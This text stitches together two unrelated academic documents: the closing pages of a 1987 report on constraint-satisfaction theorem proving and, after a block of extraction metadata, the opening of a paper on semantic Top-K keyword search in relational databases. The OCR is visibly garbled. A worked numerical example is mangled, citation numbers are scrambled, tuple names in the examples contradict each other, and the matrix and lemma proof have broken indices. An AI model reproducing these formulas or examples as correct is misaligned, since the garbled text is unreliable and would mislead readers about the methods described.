Evans [EVAN87] has developed a theorem prover that is based on the above characterization. The important features of her system are
1. The axioms of the system are consistent sets of well-formed formulas first order logic.
2. The axioms are pre-processed as described earlier.
3. The theorem to be proved is negated, skolemized and added to the system.
4. Let $C_1$ and $C_2$ be two formulas. Let $P_1$ and $P_2$ be literals in $C_1$ and $C_2$ respectively. If $P_1$ and $P_2$ can be unified with $\theta$ as the most general unifier, then form two clauses $(C_1)\theta$ and $C_2(\theta)$ with the following changes. If $T$ was absent from the value set of $P_1(P_2)$, then remove $T$ from the value set of $(P_2)\theta((P_1)\theta)$ and a similar operation is carried out for $F$. If the literals that were unified are complementary, then the refinement is made in a slightly different way. If $T$ were absent from the value set of $P_1(P_2)$, then remove $F$ from the value set of $(P_2)\theta((P_1)\theta)$. A similar operation is carried out for $F$.
5. The above is interleaved with truth-functional simplification of the clauses. This corresponds to propagation of the constraints.
6. A contradiction is deduced when both $T$ and $F$ are knocked out of the value set of some literal.
For details about control strategies, case analysis and splitting rules and completeness, the reader is referred to [EVAN87]. Note that Evans views unification too as constraint satisfaction. Thus, there are networks of constraints at two different levels. The literals of the clauses form a network of constraints. Each unification is also set up as a network of constraints among the terms appearing in the set of equations. This gives us a uniform basis of computation.
4.3 Summary
In this chapter we have seen that constraint solving techniques can be effectively utilized to extend the expressive power of logic programming languages. Also, an algebraic semantics can be given for theorem proving treated as constraint satisfaction.
Chapter 5
Conclusions
The constraint model offers a rich paradigm of computation and programming. In this report, we saw that the constraint satisfaction process defines a transformation operating on a structured domain. The properties of this transformation can give useful information about the process itself. Constraint satisfaction as a deductive engine is sound and quite powerful. There are many issues, of course, which require a lot more work. Some of them are listed below.
1. Are there any general control strategies or is the problem of control application dependent?
2. Is it possible to order the different control strategies in some space?
3. For what classes of constraints can we ensure completeness?
4. Development of a powerful syntax that allows the expression of constraints on complex objects.
5. Exploration of ways to compile constraints, and form plans of execution to achieve efficiency.
References
12th Annual Allerton Conference on Circuit and System Theory Oct 1974
ACM Transactions on Programming Languages and Systems vol2 no1 Jan 1980, 90-121
SIAM Journal of Computing vol5 No3 September 1976
Rutgers University Jan 1986
32
[PLOT72] Plotkin, "Building in Equational Theories" Machine Intelligence Vol 7 1972
The vita has been removed from the scanned document
|
{"Source-Url": "https://vtechworks.lib.vt.edu/bitstream/handle/10919/45784/LD5655.V855_1987.M355.pdf?isAllowed=y&sequence=1", "len_cl100k_base": 14576, "olmocr-version": "0.1.53", "pdf-total-pages": 39, "total-fallback-pages": 0, "total-input-tokens": 70630, "total-output-tokens": 17857, "length": "2e13", "weborganizer": {"__label__adult": 0.00035190582275390625, "__label__art_design": 0.0004341602325439453, "__label__crime_law": 0.0003247261047363281, "__label__education_jobs": 0.0021686553955078125, "__label__entertainment": 9.882450103759766e-05, "__label__fashion_beauty": 0.00016891956329345703, "__label__finance_business": 0.00028061866760253906, "__label__food_dining": 0.0004074573516845703, "__label__games": 0.0007615089416503906, "__label__hardware": 0.0008020401000976562, "__label__health": 0.0005083084106445312, "__label__history": 0.0002732276916503906, "__label__home_hobbies": 0.00013768672943115234, "__label__industrial": 0.00045990943908691406, "__label__literature": 0.0006103515625, "__label__politics": 0.0002732276916503906, "__label__religion": 0.0005617141723632812, "__label__science_tech": 0.040618896484375, "__label__social_life": 0.0001283884048461914, "__label__software": 0.0066070556640625, "__label__software_dev": 0.94287109375, "__label__sports_fitness": 0.00028014183044433594, "__label__transportation": 0.0006570816040039062, "__label__travel": 0.0001704692840576172}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 67656, 0.03482]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 67656, 0.69285]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 67656, 0.91298]], "google_gemma-3-12b-it_contains_pii": [[0, 466, false], [466, 1198, null], [1198, 1722, null], [1722, 3494, null], [3494, 3645, null], [3645, 5668, null], [5668, 7745, null], [7745, 10717, null], [10717, 13238, null], [13238, 15739, null], [15739, 16319, null], [16319, 17963, null], [17963, 20063, null], [20063, 22409, null], [22409, 22627, null], [22627, 24999, null], [24999, 25336, null], [25336, 28361, null], [28361, 30669, null], [30669, 30978, null], [30978, 32497, null], [32497, 35266, null], [35266, 37055, null], [37055, 39247, null], [39247, 42136, null], [42136, 44772, null], [44772, 46045, null], [46045, 47932, null], [47932, 50936, null], [50936, 53705, null], [53705, 56198, null], [56198, 58962, null], [58962, 61035, null], [61035, 62715, null], [62715, 63636, null], [63636, 65070, null], [65070, 66678, null], [66678, 67605, null], [67605, 67656, null]], "google_gemma-3-12b-it_is_public_document": [[0, 466, true], [466, 1198, null], [1198, 1722, null], [1722, 3494, null], [3494, 3645, null], [3645, 5668, null], [5668, 7745, null], [7745, 10717, null], [10717, 13238, null], [13238, 15739, null], [15739, 16319, null], [16319, 17963, null], [17963, 20063, null], [20063, 22409, null], [22409, 22627, null], [22627, 24999, null], [24999, 25336, null], [25336, 28361, null], [28361, 30669, null], [30669, 30978, null], [30978, 32497, null], [32497, 35266, null], [35266, 37055, null], [37055, 39247, null], [39247, 42136, null], [42136, 44772, null], [44772, 46045, null], [46045, 47932, null], [47932, 50936, null], [50936, 53705, null], [53705, 56198, null], [56198, 58962, null], [58962, 61035, null], [61035, 62715, null], [62715, 63636, null], [63636, 65070, null], [65070, 66678, null], [66678, 67605, null], [67605, 67656, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 67656, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 67656, null]], "pdf_page_numbers": [[0, 466, 1], [466, 1198, 2], [1198, 1722, 3], [1722, 3494, 4], [3494, 3645, 5], [3645, 5668, 6], [5668, 7745, 7], [7745, 10717, 8], [10717, 13238, 9], [13238, 15739, 10], [15739, 16319, 11], [16319, 17963, 12], [17963, 20063, 13], [20063, 22409, 14], [22409, 22627, 15], [22627, 24999, 16], [24999, 25336, 17], [25336, 28361, 18], [28361, 30669, 19], [30669, 30978, 20], [30978, 32497, 21], [32497, 35266, 22], [35266, 37055, 23], [37055, 39247, 24], [39247, 42136, 25], [42136, 44772, 26], [44772, 46045, 27], [46045, 47932, 28], [47932, 50936, 29], [50936, 53705, 30], [53705, 56198, 31], [56198, 58962, 32], [58962, 61035, 33], [61035, 62715, 34], [62715, 63636, 35], [63636, 65070, 36], [65070, 66678, 37], [66678, 67605, 38], [67605, 67656, 39]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 67656, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
46acffa6d3893fec2261330396ed435572e8897e
|
A Top-K Keyword Search for Supporting Semantics in Relational Databases
WANG Bin¹+, YANG Xiao-Chun¹,², WANG Guo-Ren¹
¹(College of Information Science and Engineering, Northeastern University, Shenyang 110004, China)
²(Key Laboratory of Data Engineering and Knowledge Engineering for the Ministry of Education, Renmin University of China, Beijing 100872, China)
+ Corresponding author: E-mail: binwang@mail.neu.edu.cn
Abstract: In order to enhance the search results of keyword search in relational databases, semantic relationship among relations and tuples is employed and a semantic ranking function is proposed. In addition to considering current ranking principles, the proposed semantic ranking function provides new metrics to measure query relevance. Based on it, two Top-K search algorithms BA (blocking algorithm) and EBA (early-stopping blocking algorithm) are presented. EBA improves BA by providing a filtering threshold to terminate iterations as early as possible. Finally, experimental results show the semantic ranking function guarantees a search result with high precision and recall, and the proposed BA and EBA algorithms improve query performance of existing approaches.
Key words: Top-K; keyword search; relational databases; information retrieval; semantic similarity
摘 要: 为了增强关系数据库中关键字搜索查询结果,考虑了多表之间以及元组之间的语义关系,提出了一种语义评分函数,该语义评分函数不仅涵盖了当前的评分思想,并且加入新指标来衡量查询结果与查询关键字之间的相关性。基于该评分函数,提出两种以数据块为处理单位的 Top-K 搜索算法,分别为 BA(blocking algorithm)算法和 EBA(early-stopping blocking algorithm)算法。EBA 在 BA 基础上引入了过滤域值,以便尽早终止算法的迭代次数。最后实验结果验证语义评分函数保证了搜索结果的高查准率和查全率,所提出的 BA 算法和 EBA 算法改善了现有方法的查询性能。
关键词: Top-K; 关键字搜索; 关系数据库; 信息检索; 语义相似度
* Supported by the Program for New Century Excellent Talents in University of China under Grant No.NCET-06-0290 (新世纪优秀人才计划); the National Natural Science Foundation of China under Grant No.60503036 (国家自然科学基金); the National High-Tech Research and Development Plan of China under Grant Nos.2006AA09Z139, 2007AA01Z192 (国家高技术发展计划(863)); the Fok Ying Tong Education Foundation under Grant No.104027 (霍英东优选资助课题); the Key Laboratory of Data Engineering and Knowledge Engineering for the Ministry of Education, Renmin University of China (中国人民大学数据与知识工程教育部重点实验室开放课题)
Received 2007-08-30; Accepted 2007-11-02
1 Introduction
Integration of IR and database technologies has been a hot research topic. One of the driving forces is the fact that more and more data is stored in relational databases[1,2]. Two advantages for integrating keyword search into relational databases are users need to neither understand the underlying database schemas and structures in advance nor complex query languages like SQL. Instead, users are only required to submit a list of keywords, and search engines will return ranked answers based on their relevance to query keywords.
However, due to the inherit nature of relational databases, information retrieval (IR) techniques in text databases cannot be straightforwardly applied to relational databases (DBs). Figure 1 shows an example of four relations: author, writes, paper, and cites. Relations are related with each other through reference constraints. For instance, cites→paper represents two foreign key constraints cites[Cited]⊆paper[Pid] and cites[Citing]⊆paper[Pid].

Table 1 lists examples of three keyword queries and their results. Query Qry$_1$ contains two keywords “John” and “Tom.” Assume the search engine returns three results R$_{11}$, R$_{12}$, and R$_{13}$ to answer Qry$_1$. R$_{11}$ is a tuple containing one of the keyword “John,” and R$_{12}$ is a tuple containing another keyword “Tom.” Whereas, R$_{13}$ is a tuple tree[3], in which tuples are related with each other through reference constraints and the non-free tuples cover all the query keywords (“John” and “Tom”). The size of the tuple tree R$_{13}$ is the number of tuples in R$_{13}$, i.e. $|R_{13}|=5$. R$_{11}$ and R$_{12}$ can be regarded as tuple trees such that $|R_{11}|=|R_{12}|=1$.
1.1 Drawbacks of current ranking functions
Ranking functions and search algorithms are two core aspects in IR technologies. Current ranking functions in relational databases can be classified into two categories: tuple tree size based ranking function and IR-style relevance ranking function. Tuple tree size based ranking function[3-6] is a simple and straightforward ranking measurement, which roughly considers inverse proportion between the size of a tuple tree and the score that tuple tree gets. IR-style relevance ranking function[1,3,5,7] makes further exploration and incorporates into DB’s ranking
field the relevance-ranking strategies developed by IR community over the years. Specifically, it treats each attribute text as a document, all attribute texts in a database as the document collection, and leverage state-of-the-art IR ranking functionality\cite{8} to compute a tuple tree’s relevance to query keywords.
Table 1 Keyword search instances and their search results
<table>
<thead>
<tr>
<th>Queries</th>
<th>Results</th>
<th>Size of results</th>
</tr>
</thead>
<tbody>
<tr>
<td>Qry1: {John, Tom}</td>
<td>$R_{11}$: author.t2</td>
<td>1</td>
</tr>
<tr>
<td>Qry1: {John, Tom}</td>
<td>$R_{12}$: author.t4</td>
<td>1</td>
</tr>
<tr>
<td>Qry1: {John, Tom}</td>
<td>$R_{13}$: writes.t1 ← paper.t2 ← writes.t3 → author.t4</td>
<td>5</td>
</tr>
<tr>
<td>Qry1: {John, Tom}</td>
<td>$R_{15}$: paper.t1</td>
<td>1</td>
</tr>
<tr>
<td>Qry2: {XML}</td>
<td>$R_{22}$: paper.t3</td>
<td>1</td>
</tr>
<tr>
<td>Qry2: {XML}</td>
<td>$R_{23}$: paper.t4</td>
<td>1</td>
</tr>
<tr>
<td>Qry3: {Jane, John}</td>
<td>$R_{33}$: author.t3</td>
<td>1</td>
</tr>
<tr>
<td>Qry3: {Jane, John}</td>
<td>$R_{34}$: author.t1 ← writes.t1 → paper.t1 ← writes.t4 → author.t2</td>
<td>5</td>
</tr>
<tr>
<td>Qry3: {Jane, John}</td>
<td>$R_{35}$: author.t1 ← writes.t1 → paper.t1 ← writes.t4 → author.t2</td>
<td>5</td>
</tr>
</tbody>
</table>
Current search algorithms can also be classified to two categories: Candidate Networks (CN)-based search algorithm\cite{1,3,4,6,7} and graph-based algorithm\cite{5,11,12}. Both of the two types of algorithms start from tuples that contains partial or all keywords, discover shortest paths that could connect those tuples according to database schemas or pre-created data models, and finally return ranked joining networks of tuples (tuple trees) as answers.
However, the existing keywords search approaches\cite{1,3,4,6,7,13−15} cannot capture semantic relevant to the query due to overlooking the following two cases.
Case (1) Indirect containment of query keywords. For instance, consider the query Qry2 in Table 1. Tuple trees paper.t1, paper.t3, and paper.t4 are returned as query answers because at least one of their respective attribute text contains query keyword “XML.” The tuple paper.t5 is not an answer since none of its attribute text contains “XML.” However, relation cites in Fig.1 shows that paper paper.t1 (with Pid=p1) is cited by paper paper.t1 (with Pid=p1), paper.t3 (with Pid=p3), and paper.t4 (with Pid=p4), which means there is a high probability that the topic of paper.t5 is related to Qry2. Fig.2(a) shows the indirect containment relationship between paper.t5 and \{paper.t1, paper.t3, paper.t4\}, which describes the semantic correlation between paper.t3 and the query Qry2.
Case (2) Semantic correlation. The existing approaches do not distinguish the difference between partial matching and complete matching among non-free tuples. For example, consider the query Qry3 in Table 1. The tuple trees $R_{34}$ and $R_{35}$ have the same size and contain both the query keyword \{Jane, John\}. Using the existing ranking function, $R_{34}$ and $R_{35}$ have the same scores. However, further investigation would reveal that the scores of $R_{34}$ and $R_{35}$ should be different. Figure 2(b) and (c) show the reason. The authors of paper.t2 are author.t2, author.t3, and author.t4 (shown in Fig.2(b)), in which, two of them construct $R_{35}$ to answer query Qry3. Figure 2(c) shows authors of paper.t1, where all of them construct $R_{34}$ to answer the query Qry3. Apparently, the score of $R_{34}$ should be higher than the score of $R_{35}$.
Fig.2 Semantic relevance (p stands for relation paper, c for cites, w for writes, and a for author in Fig.1)
1.2 Our contributions
In this paper, a semantic ranking function is proposed to solve the above problems. It measures semantic relevance between tuple trees and query keywords. In addition, two Top-k search algorithms supporting the new ranking function namely BA (Blocking Algorithm) and EBA (Early-Stopping Blocking Algorithm) are proposed. BA and EBA process data in block, minimize database probes, and perform effectively as a result. Additionally, they can discover not only tuple trees that actually contain query keywords but those related with query keywords in a less obvious fashion. EBA improves BA by providing a filtering threshold to terminate iterations as early as possible. Our main contributions are as follows:
1) The concepts of semantic relevance as well as a novel ranking function to encompass this concept are proposed.
2) Two efficient algorithms namely BA and EBA in support of the new ranking function are presented.
2 Related Work
Keyword search in structured or semi-structured data has attracted a lot attention. DBExplorer⁶, DISCOVER¹⁴, BANKS⁵, DISCOVER²³, and SPARK¹ support keyword search in relational databases⁷ and return ranked tuple trees as answers⁹. The former three systems require answers to cover all query keywords while the latter ones¹¹³ support searching out answers that partially contain query keywords. Current keyword search algorithms can be classified into two categories: Candidate Networks (CN)-based search algorithm and graph-based search algorithm. BANKS models a database into a tuple graph, where nodes denote tuples and edges represent key and foreign key constraints in the database. Based on the tuple graph, BANKS starts from tuples that actually contain query keywords, carries out heuristic search, and halt until it finds out a sub-graph that can connect all initial tuples containing query keywords. DBExplorer, DISCOVER¹, DISCOVER², and SPARK are divided into two steps: (1) determine appropriate CN-based on database schemas; and (2) evaluate CNs produced in the first step and sort the results in a descending order according to their respective ranking function. CN-based search algorithms use similar methods to fulfill the first step but diverge with respect to the second step. Specifically, DBExplorer directly uses SQL to evaluate CNs, obtains the results and return those results in a descending order. However, DBMSs are required to process a huge amount of data, therefore, jeopardize search performance. DISCOVER¹ is an improvement of DBExplorer in that it stores some temporary data to avoid repeated evaluation of some joining networks of relations. DISCOVER² and SPARK use different strategies such as Top-K or skyline to further improve search performance. When it comes to ranking functions, DBExplorer and DISCOVER¹ explore the structure of an answer and favor tuple trees of small size over those with a large size. BANKS measures a tuple tree’s relevance in terms of two aspects: the weight of each tuple member (similar to Google’s PageRank), and the weight of each edge member. BANKS, DBExplorer, and DISCOVER¹ do not leverage state-of-the-art IR ranking methods. Reference [⁷] and DISCOVER² use IR-style relevance ranking methods to compute relevance. Specifically, they treat each attribute text as a document, and each column text as a document collection, and then apply the classic equation tf×idf or its variants to score research results. SPARK proposes similar ranking function. Different from the above methods, it treats each tuple tree produced by CN as a document. Therefore, all possible tuple trees are regarded as a document collection. Those ranking functions share the same ground that if and only if a tuple actually contains some query keyword, can it be called relevant to the query keyword. Kaushik et al. in Ref.[¹⁵] extend the term “relevance” to another dimension: if a tuple is referenced by another which actually contain a query keyword, the referenced tuple is relevant to the query keyword¹⁰. However, they do not consider tuples that actually contain query keywords as relevant¹⁰.
3 Problem Definition
Given a set of keywords \( Q = \{w_1, w_2, \ldots, w_n\} \), design a ranking function \( \text{score} \), so that \( \text{score} \) considers not only tuples that actually contain keywords but also those semantically contain keywords in \( Q \). Based on the ranking function \( \text{score} \), determine \( k \) results \( R(Q, k) \). For any tuple tree \( T \in R(Q, k) \), there does not exist a tuple tree \( T' \in R(Q, k) \) such that the score of \( T \) is less than the score of \( T' \). This paper bases on the following two assumptions:
1. For any keyword \( w_i \), all tuples actually containing \( w_i \) can be achieved in a descending order w.r.t. a given ranking function \( \text{score} \).
2. Tuple trees that contain partial query keywords in \( Q \) are also useful.
**Definition 1.** (Directly containing query keywords) Given a tuple tree \( T \). Let \( t \) be a tuple in \( T \), \( A(t) \) be the set of attributes of \( t \), and \( w \) be a query keyword. \( T \) directly contains the query keyword \( w \), if for any tuple \( t \) in \( T \), \( \exists a \in A(t) \) and the value of \( t \) for attribute \( a \), denoted \( t[a] \), contains \( w \).
**Definition 2.** (Indirectly containing query keywords) Given two tuple trees \( T \) and \( T' \). Let \( w_i \) be a query keyword. \( T \) indirectly contains the query keyword \( w_i \), if for any \( t' \in T' \), \( \exists t \in T \), such that \( t' \rightarrow t \).
**Definition 3.** (Semantic relevance) Given a tuple \( t \) and a query keyword \( w \). The tuple \( t \) is semantically relevant to \( w \), if \( t \) directly contains \( w \) or indirectly contains \( w \).
For the sake of simplicity, Table 2 displays notations and their descriptions used in the rest part of the paper.
<table>
<thead>
<tr>
<th>Notations</th>
<th>Descriptions</th>
</tr>
</thead>
<tbody>
<tr>
<td>( Q = {w_1, w_2, \ldots, w_n} )</td>
<td>A query ( Q ) containing a set of keywords ( {w_1, w_2, \ldots, w_n} )</td>
</tr>
<tr>
<td>( R(Q, k) )</td>
<td>Results to the top-k query ( Q )</td>
</tr>
<tr>
<td>( A(t) = {a_1, a_2, \ldots, a_m} )</td>
<td>The set of attributes of a tuple ( t )</td>
</tr>
<tr>
<td>( \text{score}_T(t, w) )</td>
<td>The direct contribution ratio for a tuple ( t ) to the query keyword ( w ) (will be discussed in Section 4.1.1)</td>
</tr>
<tr>
<td>( \text{score}_A(t, w) )</td>
<td>The indirect contribution ratio for a tuple ( t ) to query keyword ( w ) (will be discussed in Section 4.1.2)</td>
</tr>
<tr>
<td>( \text{score}_T(T, Q) )</td>
<td>The overall contribution ratio for a tuple tree ( T ) to a set of query keywords ( {w_1, w_2, \ldots, w_n} )</td>
</tr>
<tr>
<td>( \text{score}_A(T, Q) )</td>
<td>The semantic similarity between a tuple tree ( T ) and query keywords ( Q )</td>
</tr>
</tbody>
</table>
4 Semantic Ranking Function
Our semantic ranking function considers both cases of directly and indirectly containing query keywords, use direct contribution ratio and indirect contribution ratio, respectively, to quantify the relevance between a tuple \( t \) and a query keyword \( w \). We show how to quantify the contribution ratios in Section 4.1 and how to compute the semantic correlation in Section 4.2. Based on the discussions in Section 4.1 and Section 4.2, we propose a semantic ranking function in Section 4.3.
4.1 Containment relationship between query and tuples
4.1.1 Direct contribution ratio
Direct contribution ratio measures the degree of which that a tuple tree directly contains a set of query keywords. In this paper, we adopt the ranking method in DISCOVER2\(^5\) to compute direct contribution ratio.
Let \( t \) be a tuple, \( Q = \{w_1, w_2, \ldots, w_n\} \) be a query, and \( A(t) = \{a_1, a_2, \ldots, a_m\} \) be the attributes of \( t \). Let \( t \) directly contains a keyword \( w \in Q \). The direct contribution ratio for an attribute value \( t[a_i] \) to \( w \) is given in Eq.(1).
\[
\text{score}_D(t[a_i], w) = \frac{1 + \ln (1 + tf)}{(1 - \alpha) + \alpha \times \frac{\text{len}(t[a_i])}{\text{avg}_\text{len}}} \cdot \frac{N + 1}{df}
\]
(1)
where, \( tf \) is the frequency of \( w \) in \( t[a_i] \), \( df \) is the number of tuples in \( a_i \)'s relation with word \( w \) in this attribute, \( N \) is the total number of tuples in \( a_i \)'s relation, \( \text{len}(t[a_i]) \) is the size of \( t[a_i] \), \( \text{avg}_\text{len} \) is the average attribute-value size, and \( \alpha \) is a parameter with a range of \([0, 1]\).
Therefore, the direct contribution for \( t \) to \( w \) is given in Eq.(2).
\[
\text{score}_D(t,w) = \sum_{a \in d(t)} \text{score}_D(t[a],w)
\]
(2)
Accordingly, the direct contribution ratio for \( t \) to the query \( Q \) is shown in Eq.(3).
\[
\text{score}_D(t,Q) = \sum_{w \in Q} \text{score}_D(t,w)
\]
(3)
4.1.2 Indirect contribution ratio
Indirect contribution ratio measures the degree of which a tuple tree indirectly contains a set of query keywords in \( Q \). Considering the scenario that a tuple \( t \) is referenced by other tuples directly containing the query \( Q \). Tuple \( t \) is also relevant to \( Q \).
In order to clearly describing how \( t \) is related to other tuples using foreign-key constraints, we employ a matrix \( M \). We use \( S(t) \) to represent a tuple set \( \{t_1, t_2, \ldots, t_k\} \), such that for each \( t_i \in S(t) \), \( t[i][\text{key}] = t_i[fkey] \) and \( t_i \) directly contains query keywords in \( Q \), where \( \text{key} \) is the key attribute of \( t_i \), and \( fkey \) is the foreign key attribute of \( t_i \).
\[
M = \begin{bmatrix}
m_{11} & \ldots & m_{1(i-1)} & m_{1n} \\
\vdots & \ddots & \vdots & \vdots \\
m_{(k-1)1} & \ldots & m_{(k-1)(i-1)} & m_{(k-1)n} \\
m_{nk} & \ldots & m_{nk-1} & m_{nn}
\end{bmatrix}
\]
\[
m_{ij} = \begin{cases}
\text{score}_D(t_i,w_j), & \text{if } t_i \text{ directly contains } w_j, \\
0, & \text{otherwise}.
\end{cases}
\]
(4)
The row of \( M \) denotes a query \( Q = \{w_1, w_2, \ldots, w_n\} \), the column of \( M \) denotes \( S(t_i) \), and \( m_{ij} \) represents the direct contribution ratio for \( t_i \) to \( w_j \). When \( t_i \) does not directly contain \( w_j \), \( m_{ij} = 0 \).
First, consider the indirect contribution ratio for \( t_i \) to a single keyword \( w \). We obtain the indirect contribution ratio \( \text{score}_I(t_i,w) \) by using Eq.(5).
\[
\text{score}_I(t_i,w) = \frac{\sum_{t \in S(t_i)} \text{score}_D(t,w)^2}{\sum_{t \in S(t_i)} \text{score}_D(t,w)}
\]
(5)
The indirect contribution ratio defined in Eq.(5) satisfies the following two properties:
1. Given a tuple \( t \) and a query keyword \( w \), the larger size of \( S(t) \) is, the larger value of \( \text{score}_I(t,w) \) should be;
2. Given two tuples \( t_1 \) and \( t_2 \). Let \( t'_1 \) and \( t'_2 \) be tuples such that \( t'_1 \in S(t_1) \) and \( t'_2 \in S(t_2) \). If \( \text{score}_D(t'_1,w) \geq \text{score}_D(t'_2,w) \), then \( \text{score}_I(t_1,w) \geq \text{score}_I(t_2,w) \).
When it comes to multi-term keyword search, \( Q = \{w_1, w_2, \ldots, w_n\} \) say, the indirect contribution ratio for \( t \) to \( Q \) is shown in Eq.(6).
\[
\text{score}_I(t,Q) = \begin{cases}
\sum_{w \in Q} \text{score}_I(t,w), & \text{if } t \text{ indirectly contains a keyword in } Q, \\
0, & \text{otherwise}.
\end{cases}
\]
(6)
**Lemma 1.** Given a tuple \( t \) and its related tuple set \( S(t) = \{t_1, t_2, \ldots, t_k\} \). Let \( w \) be a query keyword, and \( \text{score}_D(t_1,w) \geq \text{score}_D(t_2,w) \geq \ldots \geq \text{score}_D(t_k,w) \), then \( \text{score}_I(t,w) \leq \text{score}_I(t_1,w) \).
**Proof:** By Eq.(5), we need prove \( \sum_{i=1}^k \text{score}_D(t_i,w)^2 \leq \text{score}_I(t_1,w) \cdot \sum_{i=1}^k \text{score}_D(t_i,w) \), which can be rewritten
as $\sum_{i=2}^{h} t_i \cdot (t_j - t_i) \leq 0$. Since $t_i \leq t_j (1 \leq i \leq h)$, we conclude $\text{score}_i(t, w) \leq \text{score}_j(t, w)$.
4.1.3 Overall contribution ratio for a tuple tree to query keywords
As mentioned before, Eq.(3) computes the direct contribution ratio for $t$ to $Q$ and Eq.(6) computes the indirect contribution ratio for $t$ to $Q$. We use Eq.(7) to combine the direct and indirect contribution ratios to quantify the overall contribution ratio for $t$ to $Q$, denoted $\text{score}(t, Q)$.
$$\text{score}(t, Q) = (1 - \theta) \cdot \text{score}_d(t, Q) + \theta \cdot \text{score}_i(t, Q)$$ (7)
where, $\theta$ is a coefficient to balance the two contribution ratios, $\theta < 0.5$. When $\theta$ equals 0, we do not consider the indirect contribution ratio.
Example. Consider the query $Q_{r2}$ and its results in Table 1. The direction contribution ratio for $\text{paper}.t_5$ to “XML” is $\text{score}_d(\text{paper}.t_5, “XML”) = 0$, since it does not directly contains “XML.” However, $\text{paper}.t_1$ is cited by $\text{paper}.t_2$ and $\text{paper}.t_4$, which directly contain “XML,” therefore, the indirect contribution ratio for $\text{paper}.t_5$ is a non-zero value. Suppose $\text{score}_d(\text{paper}.t_1, “XML”) = 0.9$, $\text{score}_d(\text{paper}.t_3, “XML”) = 0.7$, $\text{score}_d(\text{paper}.t_4, “XML”) = 0.2$, and $\theta = 0.4$, then the indirect contribution $\text{score}_i(\text{paper}.t_5, “XML”) = \frac{0.9^2 + 0.7^2 + 0.2^2}{0.9 + 0.7 + 0.2} = 0.744$, and the overall contribution ratio $\text{score}(\text{paper}.t_5, “XML”) = (1 - 0.4) \times 0.4 + 0.74 \times 0.296$.
The overall contribution ratio for a tuple tree $T$ to a query $Q$ is defined in Equation(8).
$$\text{score}(T, Q) = \sum_{t \in T} \text{score}(t, Q)$$ (8)
4.2 Semantic correlation between query and tuples
In this subsection, we take care of Case (2) discussed in Section 1.1. Consider a two-keyword query $Q = \{w_1, w_2\}$. Suppose a tuple tree $T: t_1 \leftarrow t_2 \rightarrow t_3$, where $t_1$, $t_2$, and $t$ are tuples of $R_1$, $R_2$, and $R$, respectively, $t_1 \in \delta_{a_1w_1}(R_1)$, $t_2 \in \delta_{a_2w_2}(R_2)$ and $t \in R$. Let $S_1$ and $S_2$ be subsets of $R$ where all tuples connect with $t_1$ and $t_2$ through foreign key constraints among $R$, $R_1$, and $R_2$, respectively.
$$S_1 = \{t \mid t \in \pi_{A(R)}(\delta_{a_1w_1}(R_1) \bowtie R)\}, S_2 = \{t \mid t \in \pi_{A(R)}(\delta_{a_2w_2}(R_2) \bowtie R)\}$$ (9)
Here, $A(R)$ denotes the set of all attributes of relation $R$. The intersection of $S_1$ and $S_2$ denotes tuples connecting with both $t_1$ and $t_2$ through foreign key constraints. For instance, $a_1$ and $a_2$ are coauthors to a paper, then $S_1$ means all papers written by $a_1$, $S_2$ means all papers written by $a_2$, and $S_1 \cap S_2$ is a collection of the papers in which both $a_1$ and $a_2$ join. The semantic correlation between tuples in the tuple tree $T$ w.r.t. $Q$ can be expressed using the similarity between the two sets $S_1$ and $S_2$, i.e. $\frac{|S_1 \cap S_2|}{|S_1 \cup S_2|}$. Furthermore, for a multi-keywords search $Q = \{w_1, w_2, \ldots, w_n\}$, let $S_i$ be $S_i = \{t \mid t \in \pi_{A(R)}(\delta_{a_iw_i}(R) \bowtie R)\}$, then the semantic correlation between tuples in $T$ w.r.t. $Q$ is shown in Eq.(10).
$$\text{correlation}(T, Q) = \frac{\bigcap_{i=1}^{n} S_i}{\bigcup_{i=1}^{n} S_i}$$ (10)
For instance, the semantic correlation between tuples in $R_{34}$ w.r.t. the $Q_{r3}$ in Table 1 is correlation ($R_{34}$, “Jane, John”)=1/(1+2)=1/3, correlation ($R_{35}$, “Jane, John”)=1/2, therefore, we conclude that $\text{author}.t_2$ cooperates more closely with $\text{author}.t_3$ than with $\text{author}.t_1$.
4.3 Semantic ranking function
As discussed above, semantic ranking function should take into consideration three aspects: (1) the total contribution ratio for a single tuple to keywords, (2) semantic correlation between non-free tuples, and (3) the size...
of the tuple tree. Therefore, the semantic ranking function is defined in Equation (11), where $|T|$ is the number of tuples in $T$.
$$\text{score}_s(T,Q) = \text{score}(T,Q) \cdot \frac{\text{correlation}(T,Q)}{|T|}$$
(11)
5 Semantic-Based Search Algorithms
Our semantic-based search algorithm (SSA) is based on that of the DISCOVER2 systems, that is, it first creates the tuple set graph from the pre-defined database schema graph and the tuple sets returned by the IR Engine module. Figure 3 shows an example of the tuple set graph derived from relations in Fig.1.

